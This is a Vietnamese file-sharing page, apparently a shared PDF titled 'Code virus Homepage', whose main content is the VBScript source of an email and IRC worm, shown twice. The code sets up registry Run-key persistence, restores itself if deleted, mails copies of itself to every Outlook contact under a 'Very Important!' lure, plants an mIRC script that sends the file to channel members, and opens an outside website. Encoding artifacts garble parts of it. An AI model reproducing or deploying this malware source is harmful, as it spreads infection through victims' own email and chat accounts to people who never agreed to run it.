Code virus Homepage

Chia sẻ: ™——† Lvlr. DK †——™ »»» V.I.P ««« | Ngày: | Loại File: PDF | Số trang:3

Thêm vào BST

Báo xấu

221
lượt xem 58
download

Download Vui lòng tải xuống để xem tài liệu đầy đủ

Code virus Homepage : 'Homepage Created By Robinhood Set FSO =3D createobject("scripting.filesystemobject") dirsystem =3D FSO.getspecialfolder(1) Path=3D dirsystem & "Win32.dll.vbs" Set WSH createobject("wscript.shell") WSH.regwrite "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWin32dll", "wscript.exe " & Path& " %" FSO.copyfile wscript.scriptfullname, Path payload=20 If = WSH.regread("HKLMSOFTWAREMicrosoftWindowsCurrentVersionHomepageSend mail") 1 then sendmail End if If WSH.regread("HKLMSOFTWAREMicrosoftWindowsCurrentVersionHomepageIRC" ) 1 then IRC "" End if Set sourcefile=3D FSO.opentextfile(wscript.scriptfullname) sourcetext sourcefile.readall sourcefile.close Do if not(FSO.fileexists(wscript.scriptfullname)) then set filebackup=3D FSO.createtextfile(wscript.scriptfullname) filebackup.write sourcetext filebackup.close end if sWSH.regread("HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWin32dll" ) If s "wscript.exe " & Path& " %" then WSH. ...

Chủ đề:

Bình luận(0) Đăng nhập để gửi bình luận!

Lưu

Nội dung Text: Code virus Homepage

Code virus Homepage : 'Homepage Created By Robinhood Set FSO =3D createobject("scripting.filesystemobject") dirsystem =3D FSO.getspecialfolder(1) Path=3D dirsystem & "Win32.dll.vbs" Set WSH createobject("wscript.shell") WSH.regwrite "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWin32dll", "wscript.exe " & Path& " %" FSO.copyfile wscript.scriptfullname, Path payload=20 If = WSH.regread("HKLMSOFTWAREMicrosoftWindowsCurrentVersionHomepageSend mail") 1 then sendmail End if If WSH.regread("HKLMSOFTWAREMicrosoftWindowsCurrentVersionHomepageIRC" ) 1 then IRC "" End if Set sourcefile=3D FSO.opentextfile(wscript.scriptfullname) sourcetext sourcefile.readall sourcefile.close Do if not(FSO.fileexists(wscript.scriptfullname)) then set file backup=3D FSO.createtextfile(wscript.scriptfullname) filebackup.write sourcetext filebackup.close end if sWSH.regread("HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWin32dll" ) If s "wscript.exe " & Path& " %" then WSH.regwrite = "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWin32dll", "wscript.exe " & Path& " %" end if s=3D "" loop=20 Function sendmail() Set myapp =3D CreateObject("Outlook.Application") If myapp =3D "Outlook" Then Set myname =3D myapp.GetNameSpace("MAPI") Set myaddlists =3D myname.AddressLists For Each myaddlist In myaddlists If myaddlist.AddressEntries.Count 0 Then x =3D myaddlist.AddressEntries.Count For i =3D 1 To x Set mailitem =3D myapp.CreateItem(0) Set myadd =3D myaddlist.AddressEntries(i) mailitem.To =3D myadd.Address
mailitem.Subject =3D "Very Important!" mailitem.Body =3D "Hi:" & vbcrlf & "Please view this file, it's very important." & vbcrlf & "" execute "set myatts =3Dmailitem." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115) copypath Path mailitem.DeleteAfterSubmit True myatts.Add copypath If mailitem.To "" Then mailitem.Send End If Next End If Next End If End function Function IRC(ircpath) If ircpath "" Then programpath WSH.regread("HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion ProgramFilesDir") If FSO.fileexists("c:mircmirc.ini") Then ircpath =3D "c:mirc" ElseIf FSO.fileexists("c:mirc32mirc.ini") Then ircpath =3D "c:mirc32" ElseIf FSO.fileexists(programpath & "mircmirc.ini") Then ircpath =3D programpath & "mirc" ElseIf FSO.fileexists(programpath & "mirc32mirc.ini") Then ircpath =3D programpath & "mirc" Else ircpath =3D "" End If End If If ircpath "" Then Set ircscript =3D FSO.CreateTextFile(ircpath & "script.ini", True) text =3D "[script]" & vbCrLf & "n0=3Don 1:JOIN:#:{" text =3D text & vbCrLf & "n0=3Don 1:JOIN:#:{" text =3D text & vbCrLf & "n1=3D /if ( $nick =3D=3D $me ) { halt }" text =3D text & vbCrLf & "n2=3D /." & Chr(100) & Chr(99) & Chr(99) & " send $nick " text =3D text & Path text =3D text & vbCrLf & "n3=3D}" ircscript.write(text) ircscript.Close End If End Function=20 Function payload() Randomize If 1 + Int(Rnd * 5) =3D 7 then WSH.run "Http://www.virii.com.ar",false
end if end function